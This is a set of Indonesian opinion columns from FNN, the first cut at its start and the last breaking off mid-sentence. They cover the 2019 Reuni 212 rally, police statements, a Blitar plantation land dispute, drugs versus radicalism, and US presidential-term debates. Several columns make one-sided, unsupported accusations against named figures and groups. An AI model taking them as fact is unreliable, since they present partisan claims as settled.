pernyataan-pernyataan ngawur, alias tidak sesuai kenyataan. Apalagi menyangkut hajatan 212. Betul Yusril Yunus mengatakan, memprediksi atau memperkirakan. Akan tetapi, mestinya bicara logis dan berpikiran jernih. Jangan asal bunyi atau asbun. Walaupun tidak suka atau kurang suka dengan acara 212, yang insya Allah tiap tahun akan diperingati, jangan asal bunyi begitulah. Mestinya walaupun hanya prediksi, mohon jangan membuat perkiraan yang ngwur seperti itulah. Walaupun prediksinya pasti salah, namun dekatkan sedikilah pada kebenaran. Walapun tidak benar-benar amat juga. Insy Allah saya akan berusaha untuk selalu hadir di reuni 212. Saya dan teman-teman yang tinggal di Tangerang alhamdulillaah kali ini hadir . Oke, saya dan teman adalah bagian dari Jakarta dan sekitarnya. Artinya, anggap saja Bogor, Depok, Tangerang dan Bekasi adalah sekitar Jakarta. Meski beda provinsi. Akan tetapi, apakah Serang, Cilegon, Lebak, Pandeglang, Cianjur, Bandung, Ciamis dan Cirebon masih disebut dari sekitar Jakarta juga? Oke, kita anggap saja masih sekitar Jakarta. Pertanyaannya, apakah Lampung, Jambi, Bengkulu, Padang (Sumatera Barat), Pekanbaru (Riau), Sumut dan Aceh masih juga disebut sekitar Jakarta? Apakah, Semarang, Yogyakarta, Surabaya, Madura, NTT, Kalimantan dan Sulawesi masih sekitar Jakarta? Apa yang menjadi ukuran dari sekitar Jakarta pak polisi? Kenapa saya bertanya seperti itu? Sebab, sejak seminggu sebelum acara Senin, 2-12-2019 diadakan, sudah banyak peserta yang berangkat ke Jakarta. Mereka berangkat, sekaligus mengunjungi saudara atau famili yang ada di Jakarta dan sekitarnya (Bodetabek). Mereka ke Jakarta (tidak sedikit bersama keluarga), juga sekaligus rekreasi. Mungkin polisi, khususnya pak Yusril Yunus tidak percaya. Akan tetapi, cobalah buka dan baca media resmi yang sudah memberitakan keberangkatan peserta sehari atau dua hari sebelumnya. Misalnya, yang berangkat dari Surabaya dan Madura. Mungkin polisi belum percaya dan memprediksi yang datang itu masih dari Jakarta dan sekitarnya. Bisa benar, jika parameter atau ukuran sekitarnya tidak jelas. Ibarat rumah, kan harus jelas ukuran yang menjadi tetangga kita. Kalau ukuran tetangga suka-suka, maka saya yang tinggal di Kota Tangerang pun bisa disebut tetangga teman saya Kisman Latumatulita yang tinggal di wilayah Jakarta Selatan. Jika ukuran Jakarta dan sekitarnya tidak jelas, alias suka-suka yang bicara, maka Sabang dan Merauke pun bisa masuk. Akan tetapi, jika ukuran Jakarta dan sekitarnya berdasarkan akal sehat dan bukan dungu, maka selama ini hanya Bodetabek. Polisi, berhentilah berdusta! Mengapa saya membuat judul seperti itu? Karena saya khawatir semakin banyak masyarakat yang benci dan tidak percaya kepada polisi. Padahal, masih banyak polisi-polisi yang baik. Setahu saya, masih banyak polisi-polisi yang suka dengan berdusta. Cobalah baca kembali berita- berita ke belakang. Banyak ucapan polisi yang seakan-akan menjadi propaganda pemerintah. Padahal, sejatinya polisi itu netral -- walaupun merupakan bagian dari pemerintah (bagian dari yudikatif). Polisi mestinya tidak mengeluarkan keterangan atau pernyataan yang berbau bohong kepada masyarakat. Masih ingat peristiwa Trisakti 1998. Saya masih ingat dan menyimpan keterangan Kapolri waktu itu Jendral Polisi Dibyo Widodo yang mengatakan, aparat di lapangan tidak membawa peluru tajam. Oke, karena waktu itu Polri masih di bawah Angkatan Bersenjata Republik Indonesia (ABRI) - sekarang TNI. Pernyataan Kapolri itu bisa dimaklumi. Akan tetapi, dalam peristiwa 21 dan 2 2 Mei 2019 yang lalu. Juga peristiwa turunnya anak-anak SMK (mereka lebih senang disebut anak-anak STM), polisi juga mengatakan, anggota yang bertugas di lapangan tidak dibekali dengan peluru tajam. Akan tetapi, kenyataannya ada korban yang meninggal dunia karena peluru tajam. Lalu siapa yang membawa peluru tajam tersebut? Tentu, polisilah yang lebih tahu akan masalah tersebut. Kita percaya polisi yang paling mengetahui hal itu. Polisi, berhentilah berdusta! Kembali ke Reuni 212 yang diprediksi tidak diikuti peserta dari luar Jakarta, kecuali Jakarta dan sekitarnya. Sebagai wartawan senior saya mencoba langsung mengecek di lapangan. Yang saya lakukan hanya survei kecil-kecilan, karena saya tidak percaya dengan keterangan polisi. Kenyataan di lapangan sangat jauh berbeda. Saya bertemu dengan keluarga yang datang dari Madura. Saya bertemu dengan pasangan suami-istri yang datang dari surabaya dengan menggunakan sepeda notor, berplat nomor L. Saya bertemu dengan peserta dari Rangkasbitung, Lebak, Provinsi Banten. Untuk yang ini saya ambil foto dan sempat saya catat namanya. Terus terang saya tidak memeriksa KTP mereka. Saya percaya mereka tidak berbohong. Apalagi seorang peserta dari Rangkasbitung, TB. Royani Tirtawijaya yang menurut penuturannya berusia 80 tahun. Datang dari Rangkas sendirian pake kereta api, dan nyambung di stasiun Tanah Abang serta Manggarai. Lalu turun di Staiun Juanda. "Dari Juanda saya jalan kaki ke sini (Monas)," kata pria yang memakai tongkat itu ketiķa berbincang-bincang dengan saya di depan panggung utama. TB Royani pun memperlihatkan kepada saya kartu yang dikalungkang di leher dengan simbol mudah jatuh. Saya juga sempat ngobrol dengan peserta yang datang dari Kupang, Nusa Tenggara Timur (NTT). Ada juga yang datang dari Banjarmasin, Makassar. Kalau begitu prediksi Yusril Yunus tidak tepat. Bahkan, walaupun prediksi, tetapi prediksinya cenderung bohong, atau mendekati kebohongan. Apalagi, keterangan itu disampaikan beberapa jam sebelum pergantian tanggal 1 ke tanggal 2 Desember 2019. Ketika polisi memberikan keterangan tentang prediksi, peserta reuni akbar 212 yang bukan dari Jakarta dan sekitarnya sudah masuk Jakarta. Sebagian menginap di hotel, di rumah saudara, di masjid dan tempat-tempat penampungan yang disediakan panitia. Penulis adalah Wartawan Senior

Reuni 212, Apakah Masih Perlu?

Bagi pegiat demokrasi yang jujur, seharusnya keberadaan alumni 212 patut disyukuri. Bukan malah dimusuhi hanya karena adanya perbedaan latar belakang dan keyakinan beragama. Sebab mereka adalah simbol tetap hidupnya kelompok masyarakat madani (civil society). Kelompok yang melakukan kontrol sosial terhadap pemerintah. Oleh Hersubeno Arief Jakarta, FNN - Senin 2 Desember 2019, Reuni Akbar Alumni 212 akan kembali digelar di Lapangan Monas, Jakarta. Acara digelar bersamaan dengan peringatan hari kelahiran Nabi Muhammad SAW dan diberi tajuk Maulid Agung. Banyak yang mempertanyakan urgensinya, perlunya reuni itu digelar setiap tahun. Apalagi di tengah upaya “rekonsiliasi,” menyatukan kembali anak bangsa yang terbelah sangat dalam, pasca Pilpres 2019. Bagi yang tidak sepakat dengan reuni, kegiatan itu hanya akan mengganggu proses “rekonsiliasi” yang tengah diupayakan pemerintah. Mendagri Tito Karnavian secara terbuka menyatakan alumni 212 menjadi penghambat terwujudnya stabilitas nasional. Kendati disampaikan secara berseloroh, apa yang diucapkan Tito haruslah dilihat sebagai sikap resmi pemerintah. Bercanda, tapi serius. Pemerintah masih tetap menganggap alumni 212 sebagai ganjalan terbesar. Kelompok yang sampai aekarang belum/tidak bisa ditaklukkan. Semacam duri dalam daging. Sebagai mantan Kapolri, tentu Tito sangat paham betul dengan siapa dia berurusan. Gerakan ini tidak mudah bisa dipatahkan dan ditundukkan. Tidak bisa ditakut-takuti, juga tidak bisa dikooptasi. Mereka berbeda dengan kubu pendukung Prabowo. Lepas dari ketidak-sukaan pemerintah, menarik untuk mempertanyakan apakah urgensi dari reuni tersebut? Bagi pegiat demokrasi yang jujur, seharusnya keberadaan alumni 212 patut disyukuri. Bukan malah dimusuhi hanya karena adanya perbedaan latar belakang dan keyakinan beragama. Sebab mereka adalah simbol tetap hidupnya kelompok masyarakat madani (civil society). Kelompok yang melakukan kontrol sosial terhadap pemerintah. Hanya kelompok yang berani menyatakan TIDAK, ketika semua instrumen demokrasi nyaris mati suri dan membebek terhadap apapun keinginan pemerintah. Tanda-tanda negara ini dibawa menjauh dari demokrasi tampak sangat nyata. Tanda-tanda bahwa negara ini ingin kembali dibawa ke praktik kekuasaan otoriter sudah di depan mata. Ada upaya secara sistematis mengembalikan pemilihan presiden ke MPR. Ada upaya nyata menjadikan Jokowi sebagai presiden “seumur hidup.” Upaya itu dibungkus dengan wacana memperpanjang masa jabatan dari 5 tahun menjadi 8 tahun. Mengubah pembatasan masa jabatan dua periode menjadi tiga periode. Bila upaya tersebut sukses, tidak tertutup kemungkinan tidak ada lagi pembatasan masa jabatan presiden seperti pada masa Orde Baru, dengan dalih kembali ke UUD 45. Pemerintah melangkah terlampau jauh memasuki aktivitas privat masyarakat. Yang lebih memprihatinkan pemerintah terkesan terjangkit dan mengembangkan wacana Islamophobia. Wacana perang terhadap radikalisme dikembangkan sedemikian rupa dan sasaran utamanya adalah umat Islam. Akibatnya, kegiatan majelis taklim harus terdaftar. Polisi disebar untuk mengawasi masjid-masjid yang diduga sebagai tempat penyebar kebencian. Pemerintah juga menerbitkan SKB 11 Menteri untuk mencegah paham radikalisme di kalangan aparatur sipil negara (ASN). Bisa dibayangkan apa yang terjadi dengan masa depan demokrasi Indonesia, ketika tidak ada lagi elemen kritis yang terorganisasi. Dalam konteks inilah reuni alumni 212 menemukan urgensinya. Harus terus ada kelompok yang menyuarakan sikap kritis terhadap pemerintah. Mereka harus terus dirawat. Dijaga soliditasnya. Jangan pandang mereka sebagai kelompok berbahaya yang harus terus dimusuhi. Jadikan mereka partner di luar pemerintahan untuk menjaga demokrasi kita tumbuh sehat dan kuat. Demokrasi dapat tegak berdiri tanpa oposisi, adalah ilusi. End Penulis adalah Wartawan Senior

Suka atau Tidak, Reuni 212 Kini Menjadi Arus Besar

Arus dan gelombang besar 212 akan terus mempersoalkan prilaku ketidakadilan yang bersumber dari para penguasa. Juga akan mempersoalkan kesemena-menaan para pemilik modal yang menguras habis sumber daya alam milik rakyat. Gerakan 212 juga mengingat terus para pemburu rente ekonomi impor yang telah menyesarakan petani, peternak dan nelayan. By Asyari Usman Jakarta, FNN - Bisa dipastikan bahwa semua penguasa tingkat tinggi tidak ada yang suka melihat pelaksanaan Reuni 212 tahun 2019 ini. Yang juga tidak suka termasuk para konglomerat, terutama mereka yang hitam. Yaitu, para konglomerat yang merasa umat Islam garis lurus sebagai penghalang bagi kesewenangan dan rencana-rencana jahat mereka. Kalau ada yang bilang mereka suka, hampir pasti pernyataan itu hoax atau bohonh. Pura-pura saja mereka. Alias munafik. Sebab sejauh ini, hanya Gubernur DKI Anies Baswedan yang diyakini tidak gerah melihat Reuni 212. Dia langsung memberikan izin penggunaan kawasan Monas untuk acara reuni. Bisa dipastikan pula bahwa para penguasa memiliki perangkat lunak dan perangkat keras untuk mencegah gerakan umat Islam ini. Mereka bisa melarang, menghalangi massa, dan mereka bisa menciptakan suasana yang membuat para peserta merasa tak nyaman. Supaya pendukung Reuni 212 tak mau hadir lagi. Semua ini bisa mereka rekayasa sesuka hati. Tetapi, perhelatan Reuni 212 insya Allah akan terlaksana besok, 2 Desember 2019. Meskipun semua pemegang kekuasaan membencinya. Meskipun institusi-institusi keamanan tidak suka. Meskipun kaum liberal, kaum sesat, umat garis bengkok sangat tidak suka. Meskipun Ade Armando, Denny Siregar, Abu Janda, Sukmawati, Megawati, Paloh, Bamsoet, Banser, dan lain-lain, juga tidak suka. Mengapa para penguasa, pengusaha, orang-orang sesat dan bengkok pikiran itu tak suka adanya 212? Karena gerakan 212 berhasil menghimpun kekuatan umat garis lurus. Yang akan menghadang dan mpersoalkan prilaku kesewenangan, keserakahan, dan kebatilan ideologi. Arus dan gelombang besar 212 akan terus mempersoalkan prilaku ketidakadilan yang bersumber dari para penguasa. Juga akan mempersoalkan kesemena-menaan para pemilik modal yang menguras habis sumber daya alam milik rakyat. Gerakan 212 juga mengingat terus para pemburu rente ekonomi impor yang telah menyesarakan petani, peternak dan nelayan. Kekuatan 212 akan melawan habis ideologi-ideologi yang berbahaya bagi kelansungan hidup bangsa dan Negara kita. Akan melawan sampai mati keinginan para penganut komunisme dan kekuatan politik besar yang punya ambisi hendak mengijonkan dan menyerahkan negara ini kepada RRC. Inilah peranan penting kehadiran dan keberadaan gerakan 212. Kekuatan ini tak bisa dianggap enteng, karena sudah didukung oleh semua lapisan masyarakat. Ada jutaan “ordinary people” (orang biasa). Tetapi banyak pula kaum intelektual, para ilmuwan, teknokrat, dan lain sebagainya. Umat dari segala latar-belakang itu bersatu dan menyatu tanpa ada sekat. Gerakan 212, insya Allah, tak mungkin lagi bisa dibendung. Gerakan ini sudah menjadi “rallying point” atau “tempat berkumpul” umat dadn manusia garis lurus. Kekuatan ini telah menjadi “mainstream” (arus besar) umat. Yaitu, gerakan yang telah diterima oleh mayoritas umat. Mau suka atau tidak suka. Sepanjang para tokohnya bisa selalu menjaga kesakralan gerakan dan misinya, dapat dipastikan Arus 212 bisa menimbulkan distorsi serius terhadap agenda jahat yang disusun oleh musuh-musuh bangsa dan Negara. Penulis adalah Wartawan Senior

Perkebunan Kruwuk [2] Status Quo, Dinetralkan

Kepada para pihak juga diminta untuk melaporkan kepada Polres Blitar jika ada salah satu pihak yang melanggar keputusan ini. Oleh Mochamad Toha Jakarta, FNN - Sanggahan berikutnya muncul dari Pitoyo Hariyadi yang meluruskan bahwa redistribusi yang terjadi beberapa waktu lalu mengacu pada keputusan yang terjadi pada 1964. Justru pada pertemuan antara PPKM dan PT Rotorejo Kruwuk yang difasilitasi Kanwil BPN Jatim, Direktur Utama perusahaan tersebut diminta untuk melepaskan lahan redistribusi yang sesuai dengan permintaan warga; dan dalam kenyataannya, permintaan Kepala Kanwil BPN Jatim tersebut tidak digubris. Menjawab sanggahan, perwakilan BPN Kabupaten Blitar menyatakan belum bisa menghapus HGU PT Rotorejo Kruwuk karena adanya hubungan lembaga yang masih melekat dan PT Rotorejo Kruwuk tetap menjadi prioritas pemegang perpanjangan HGU tanpa ada batas waktu. Ini dilandaskan atas Permen ATR/BPN RI Nomor 9 Tahun 1999. Aryo kemudian meminta diterangkan pada pasal berapa dalil yang disampaikan utusan BPN Kabupaten Blitar ini, sebab setelah mencermati Permen dimaksud tidak disebutkan adanya hubungan lembaga yang melekat dan frase yang tidak serta-merta lahan perkebunan eks-PT Rotorejo Kruwuk diambil alih oleh negara. Pada sisi lain, semua peraturan perundang-undangan yang mengatur tentang pertanahan dan perkebunan secara tegas menyatakan lahan tersebut kembali kepada negara dan HGU harus dihapuskan. Disampaikan pula analogi kontrak rumah dan perpanjangan SIM yang jika lewat batas waktu harus mengulang pembuatan SIM sejak awal, karena sudah habis masa berlakunya. Perwakilan BPN Kabupaten Blitar menyampaikan bahwa yang disampaikan olehnya juga dilandaskan pada teori hukum dan berputar-putar memberikan alasan untuk tidak secara detail berkaitan dengan pertanyaan dari pendamping PPKM Aryo Purboyo. Ketua PPKM Pitoyo Hariyadi menambahkan dengan satire, mungkin yang dimaksud dengan perwakilan BPN Kabupaten Blitar ini adalah hubungan lembaga yang melekat itu adalah hubungan “persaudaraan” antara Kantor BPN Kabupaten Blitar dengan PT Rotorejo Kruwuk. Tim akademisi menambahkan seharusnya BPN Kabupaten Blitar tetap berpedoman pada peraturan perundang-undangan dan secara tegas menghapus HGU PT Rotorejo Kruwuk. Perwakilan PPKM Yudiono menambahkan, tepat yang disampaikan tim akademisi dan BPN Kabupaten Blitar harus segera menindaklanjutinya. Perwakilan BPN Kabupaten Blitar tetap bersikukuh, untuk menghapus HGU ada tahapan-tahapannya. Tanpa ada pelepasan dari PT Rotorejo Kruwuk, BPN Kabupaten Blitar tidak bisa menghapus HGU. Kepala Satuan Reskrim Polres Blitar menyampaikan analogi bahwa HGB dan HGU sama, dengan mencontohkan pengalaman pribadi membeli rumah yang HGB-nya habis masa berlaku dan tidak serta-merta diminta oleh negara. Bahkan mengurus HGB tersebut dan menjadikan SHM. Analogi ini dimintakan perwakilan BPN Kabupaten Blitar untuk mengoreksinya. Perwakilan BPN Kabupaten Blitar mengiyakan bahwa HGB dan HGU sama. Pimpinan rapat, Wakapolres Blitar mengambil alih jalannya rapat dengan keputusan men-status quo-kan perkebunan Rotorejo Kruwuk dengan mencermati menjaga kamtibmas. Alasan utama penetapan status quo tersebut adalah berlarut-larutnya mediasi antara warga dengan PT Rotorejo Kruwuk. Status quo tersebut baru bisa dicabut jika PT Rotorejo Kruwuk bisa segera menunjukkan SK HGU perpanjangan atau ada pihak lain yang sah menjadi pengelola perkebunan dengan membawa SK HGU yang asli. Di dalam masa status quo tersebut, kedua belah pihak tidak boleh mengeluarkan hasil kebun dalam bentuk apa pun. Jika kedua belah pihak sepakat, maka dituangkan di dalam pernyataan kesepakatan bersama. Kedua belah pihak sepakat, dan Aryo Purboyo menegaskan bahwa warga rela untuk mundur dan tidak beraktivitas di lahan perkebunan jika ada pihak yang membawa SK HGU yang resmi dikeluarkan negara. Di sela proses redaksional pernyataan kesepakatan bersama itu, PT Rotorejo Kruwuk yang diwakili Suratmi, Sekretaris Perusahaan, menyampaikan keberatan. Alasannya, karena ada karyawan yang bergantung pada hasil kebun dan secara rutin mengolah bahan baku kebun tersebut. Wakapolres Blitar menegaskan bahwa keputusan Polres Blitar ini semata demi kamtibmas dan tidak ada perintah untuk memecat/merumahkan karyawan PT Rotorejo Kruwuk. Pembacaan redaksional kesepakatan bersama oleh Wakapolres Blitar dan pihak PPKM menyatakan sepakat dengan isi kesepakatan bersama itu. Tapi, PT Rotorejo Kruwuk melalui kuasa hukumnya ET Wibowo menyampaikan keberatan. Alasan utamanya jika yang dianggap status quo kawasan penebangan tanaman keras yang saat ini disegel Polres Blitar, PT Rotorejo Kruwuk bisa menyepakatinya. Namun, jika kawasan yang tengah dioperasionalisasikan PT Rotorejo Kruwuk masuk ke dalam status quo, pihaknya berkeberatan. Wakapolres Blitar menegaskan, kesepakatan bersama yang telah dibacakan dan tertuang di dalam tulisan adalah kesepakatan bersama yang telah disetujui di dalam forum. Ihwal hal ini, PT Rotorejo Kruwuk tetap menolak dan tak akan menandatangani kesepakatan bersama tersebut, baik kuasa hukum maupun Direktur PT Rotorejo Kruwuk. Wakapolres Blitar mengeluarkan putusannya bahwa Polres Blitar mengabaikan kesepakatan bersama tertulis dan tetap pada putusan men-status quo-kan Perkebunan Rotorejo Kruwuk demi kamtibmas dan akan menindak siapa pun dari kedua belah pihak secara hukum yang melanggar keputusan tersebut. Kepada para pihak juga diminta untuk melaporkan kepada Polres Blitar jika ada salah satu pihak yang melanggar keputusan ini. Penulis wartawan senior. (Selesai)

Mana Lebih Urgen: Narkoba Atau Radikalisme?

By Asyari UsmanJakarta, FNN - Badan Narkotika Nasional (BNN) mendata sekitar 4,200,000 (4.2 juta) pemakai narkoba di Indonesia. Jumlah desa dan kelurahan tercatat 83,447. Jadi, rata-rata desa dan kelurahan memiliki 50 orang pemakai narkoba. Ini angka rata-rata. Kalau diasumsikan pemakai narkoba itu lebih banyak di kawasan perkotaan (urban), boleh jadi di setiap kelurahan di kota-kota besar ada 80-an pemakai narkoba.Kalau 50 orang pemakai narkoba per desa/kelurahan itu melakukan rekrutmen, bisa dibayangkan masa depan bangsa ini. Jika 50 orang pemakai itu berhasil menambah anggota 25 orang per tahun, berarti dalam lima tahun akan bertambah 125 orang pemakai baru. Karena itu, pada 2025 nanti Indonesia memiliki “pasukan narkoba aktif” sebanyak 50+125x83,447=14,603,225. Kita sederhanakan saja menjadi 14 juta orang. Angka ini tidak memperhitungkan kalau para pemakai baru melakukan rekrutmen. Jika pemakai baru juga aktif mencari teman baru, silakan para pakar matematika membuatkan tabulasinya.Baik. Kita ambil sajalah angka 14 juta sebagai proyeksi jumlah pemakai narkoba pada 2025. Kira-kira, serepot apa bangsa ini nanti? Di desa atau kelurahan Anda nantinya akan ada 175 orang pemakai narkoba. Ada 175 sel aktif narkoba di sekitar Anda. Kalau 10 persen saja diantara mereka kita sebut “pemakai radikal”, berarti ada 17 orang yang siap menjadi “bom bunuh diri” yang akan meneror tiap desa dan kelurahan.Ada lagi angka yang sangat mencemaskan dari Komisi Perlindingan Anak Indonesia (KPAI). Di awal Maret 2018, Komisi mengatakan dari 87 juta anak di bawah 18 tahun, hampir 6 juta diantaranya masuk kategori pencandu narkoba.Selain angka pemakai dan proyeksi rekrutmen ini, kita lihat sepintas kerugian lain akibat penggunaan narkoba. BNN mengatakan, sekitar 40 orang menemui ajal setiap hari karena benda yang berbahaya ini. Potensi kerugian ekonomi diperkirakan mencapai 75 triliun rupiah per tahun.Sebelum dilanjutkan, kita memohon kepada Allah SWT agar proyeksi ini tidak menjadi kenyataan. Amin, Allahumma amin.Nah, dari angka-angka yang sangat menyeramkan ini, menurut Anda mana lebih urgen masalah narkoba dibandingkan isu radikalisme? Sebagai ilustrasi saja, radikalisme yang sangat ditakuti oleh para penguasa, terutama Menag Fachrul Razi, itu baru sebatas pemakaian cadar dan celana cingkrang. Kalau pun lebih dari ini, radikalisme di kalangan umat Islam baru sebatas aktivitas amar-ma’ruf nahi mungkar oleh FPI atau cita-cita khilafah di kalangan “ormas ompong” HTI.Atau, radikalisme itu baru sebatas kepatuhan kaum perempuan muslim untuk menutup aurat mereka. Di kampus-kampus atau di tempat kerja. Atau, radikalisme itu baru sebatas ghirah untuk ikut Reuni 212.Dan tidak semua umat Islam punya ghirah yang tinggi untuk bersyariat. Masih ada puluhan juta yang tak mau tahu soal halal-haram. Ada jutaan lagi umat Islam garis bengkok yang siap membakar bendera Tauhid. Masih banyak yang siap bekerja sama dengan Israel atau China komunis, dlsb. Dan mereka ini siap pula berhadapan dengan kaum yang dilabel-label radikal itu.Jadi, masalah radikalisme yang menghantui para penguasa saat ini masih belumlah mencemaskan. Tidak semengerikan 6 juta anak-anak di bawah 18 tahun yang saat ini kecanduan narkoba. Belumlah tertandingi angka kematian akibat narkoba yang mencapai 40 orang tiap hari.Dampak cadar, cingkrang, janggut, atau pakaian muslimah lainnya, belumlah bisa menandingi kerugian ekonomi sebesar 75 triliun per tahun terkait peredaran narkoba. Kalau radikalisme itu kalian anggap sebagai gangguan, masih belumlah menyamai jumlah 50 orang pencandu narkoba per desa atau kelurahan di Indonesia.Karen itu, cobalah Anda para penguasa merenungkan mana yang lebih urgen masalah narkoba dibandingkan isu radikalisme?Mana yang lebih berbahaya: ratusan ton sabu dan 13 juta butir ekstasi yang tak tertangkap oleh aparat atau Reuni 212, cadar, celana cingkrang, janggut, jilbab, dll?[]30 November 2019Penulia wartawan senior.

Presidensialisme, Potensial Menuju Tirani?

Yang sangat mengagumkan dan membuat kita terperangah dari perdebatan itu semua tentang presidensialisme adalah “pembelahan pendapat sedalam dan sekeras itu tak mengakibatkan mereka melupakan kompromi”. Saat David Bearly pada tanggal 4 September melaporkan hasil kerja Komisi Pendalaman Committee of Detail, munguatlah ide pemilihan presiden melalui electoral college. By Dr. Margarito Kamis Jakarta, FNN - Hari-hari ini hangat dan intens betul gagasan-gagasan tak terkoordinasi penguatan sistem presidensial di Indonesia. Sama hangat dan intens dengan gagasan perpanjangan masa jabatan presiden. Gagasan tak tercerahkan ini terus muncul secara acak. Semuanya membuat landscap politik mutakhir terlihat begitu menarik. Biasakah landscap ini nyata dalam kehidupan politik? Mungkin ya. Membekali presdien dengan setumpuk kekuasaan negara, merupakan inti gagasan presidensialisme. Itu Bagus? Tunggu dulu. Mengapa? Dua hipotesis berbeda harus diperiksa secara seksama. Hipotesis presiden sebagai orang baik, ratu adil, bapak dari seluruh orang dalam sebuah negara, terbukti di panggung sejarah tak valid. Signifikansinya praktis tidak ada. Ini hipotesis Indonesia. Hipotesis kedua tipikal Amerika. Hipotesisnya presiden punya ambisi pribadi, bisa menjadi tiran, dan korup. Hipotesis ini teruji di sepanjang sejarah presidensialisme. Hipotesis itu membawa para pembentuk UUD Amerika Serikat pada konvensi Philadelphia. Mereka merancang secara hati-hati, dan penuh kesadaran tentang masa jabatan presiden, serta cara presiden itu dipilih. Sejarah membawa siapapun pada kenyataan bahwa pemerintahan presidensial itu, sepenuhnya kreasi Amerika. Sistem ini diciptakan oleh pembuat UUD Amerika Serikat pada tahun 1787. Seperti pembentuk UUD 1945 dahulu, pembentuk UUD Amerika Serikat arif, bijak dan memiliki pengetahuan sejarah yang hebat. Mereka tahu, dalam batas yang sangat produktif bagaimana pemerintahan-pemerintahan sebelumnya di belahan dunia lain. Pengetahuan mereka tentang sejarah monarki, membawa mereka ke satu titik. Titik itu bernama “waspada dan curiga.” Mereka waspada dan curiga pada kekuasaan yang menumpuk pada seseorang, atau single person. Kewaspadaan dan kecurigaan terlihat nyata pada perdebatan tiga isu. Pertama, apakah jabatan presiden bersifat tunggal? Dipegang oleh seseorang singgle person atau jamak? dan terhadap pembatasan masa jabatan presiden. Kedua, kekuasaan presiden pun harus dibatasi, ditentukan jangkauannya. Ketiga, cara mengisi jabatan presiden harus tepat. Isu utamanya apakah presiden dipilih langsung oleh rakyat atau dipilih oleh legislatif. Semua isu ini penting. Tetapi isu tentang masa jabatan dan cara mengisinya menjadi dua isu yang berkali-kali dibahas. Semuanya terekam secara mengagumkan dan berkelas dalam “A Brililant Solution, Inventing the American Constitution dari Carol Berkin”, professor sejarah politik Amerika dari Baruch of College. Sarinya terlihat pada uraian-uraian selanjutnya. Hebat, sebab sebelum lebih jauh berdebat mengenai isu-isu di atas, mereka berhasil menyepakati tujuan esensial konvensi. Esensinya adalah membentuk pemerintahan model baru, dan pemerintahan nasional yang efektif. Ini dicapai pada rapat kedua tanggal 30 Mei 1787. Pada rapat ini pulalah ide presiden sebagai eksekutif tunggal muncul dan diperdebatan. Memunculkan ide dan gagasan-gagasan, yang menurut saya melampaui zaman mereka. Ide eksekutif tunggal –singgle person in executive office- dalam penilaian Randolph, delegasi dari Virginia, meniru sistem pemerintahan Inggris. Randolp, karena itu menolak ide eksekutif tunggal tersebut. Lebih jauh Randolph dalam kata-katanya menyatakan a singgle executive was nothing less that “the foetus of monarchy”. Eksekutif yang independen dari legislatif, dalam gagasan Rogers Sherman, menurut Randolph memiliki esensi sebagai tirani. Tetapi pandangan ini segera disanggah James Wilson. Baginya itu bukan bayi monarki, tetapi benteng melawan tirani. Alexander Hamilton, salah satu peserta konvensi, sekaligus orang dekat George Washington (Ketua Konvensi) menghendaki masa jabatan presiden 4 (empat) tahun. Sedangkan James Wilson, sarjana hukum kelahiran Polandia yang berimigrasi ke Amerika Serikat tahun 1765, mengusulkan masa jabatan presiden 3 (tiga) tahun, dengan hak dipilih sekali lagi. Belakangan ia mengusullkan masa jabatan presiden 6 (enam) tahun. Tetapi ide Wilson ditolak oleh George Masson, delegasi dari Virginia. Mantan hakim dan anggota legislatif – House of Burgesses- juga penulis Virginia Decalaration of Rights 1776. Dalam kata-kata penolakannya Masson menegaskan right to run reelection lead a man use bribery and trickery to regain office. Mason mengusulkan masa jabatan presiden 7 (tujuh) tahun, tanpa hak dipilih kembali. Gagasan ini ternyata ditolak juga. Gunning Bedford, delegasi Delawere menegaskan berbahaya sebuah negara diperintah selama 7 (tujuh) tahun dengan orang yang tidak kompeten. Ternyata soal kompetensi tidak terlalu dimasalahkan, dibandingkan dengan bahaya intrik. Itu sebabnya gagasan ini diterima oleh 6 (enam) delegasi. Tidak yakin dengan gagasan itu, George Masson muncul dengan gagasan masa jabatan presiden ditentukan oleh perilaku baiknya (good behavior). Bereskah isu ini? Tidak juga ternyata. Charles Pinckney, delegasi Shout Carolina, Elbridge Gerry, delegasi Messachusetts dan Edmond Randolph, delegasi Virginia menolak gagasan presiden sebagai eksekutif tunggal. Pinckney menyodorkan ambisi pribadi, yang menurutnya dimiliki setiap orang. Ia menandainya, dengan cara yang meyakinkan, sebagai hal menakutkan. Itu sebabnya Pinckney menyerukan kekuasaan presiden harus dirancang, dibatasi secara hati-hati. Gagasan tentang ragam kekuasaan presiden yang tertera dalam Virginia Plan, dalam penilaian Gerry terlalu besar. Menurutnya rancangan ini akan menghasilkan presiden yang terlalu powerful, seperti raja-raja di Inggris. Ia menunjuk raja George III sebagai penguasa tiran. Tidak berhenti disitu. Gerry bergerak maju dengan isu-isu lain. Gerry mengidentifikasi kecenderungan presiden mendahulukan kepentingan daerah asalnya. Baginya, ini tidak dapat diterima. Dalam penilaiannya, presiden harus mengutamakan kepentingan nasional. Itu sebabnya dia menolak gagasan ragam kekuasaan presiden yang dirancang dalam Viriginia Plan ini. Untuk menggantikannya, Gerry mengusulkan model baru, triumvirat. Tetapi baik gagasan Gerry maupun Pinckney disanggah oleh Roger Sherman, delegasi Connecticut. Baginya isu ini simple. Sherman yang masih berkerangka pikir presiden dipilih oleh Kongres, berpendapat presiden hanya melaksanakan kehendak legislatif. Menariknya, gagasan ini juga ditolak. Argumen penolakannya, secara singkat. Pemilihan melalui legislatif mengakibatkan dua cabang kekuasaan, yaitu eksekuif dan legislative terintegrasi menjadi satu. Ini sangat berbahaya. Belum lagi bicara mengenai tirani aristokrasi. Sebutan untuk tabiat legislatif. Menariknya, Gerry seperti dikutip Berkin menolak gagasan pemilihan presiden langsung oleh rakyat. Argumen penolakannya “if the people elect the executive, Gerry said, any organized group that draw together men from across the nation will be able to control outcome”. Gerry juga mengidentifikasi bahaya konspirasi antara legislatif dengan eksekutif bila presiden dipilih oleh legislatif. Gagasan Gerry mendapat respon Morris. Bagi Morris, yang ahli hukum dan pengacara ini, jika presiden dipilih oleh legislatif, tulis Berkin lebih spesifik lagi, “itu akan dikerjakan dengan cara intrik, komplotan rahasia, dan faksi”. Sangat terbelah. Rogers Sherman menyambar, dalam makna mendukung argumen-argumen di atas. Sherman dengan nada elitis menyatakan the people, will never be sufficiently informed of characters, to select wisely. Terbelah lagi. George Masson, penulis Piagam Hak Asasi Manusia Virginia 1776 justru mempertahankan pemilihan presiden secara langsung. Juga menyangkal pemilihan presiden oleh legislatif, yang orang-orangnya ia kualifikasi sebagai ordinary citizen. Yang sangat mengagumkan dan membuat kita terperangah dari perdebatan itu semua tentang 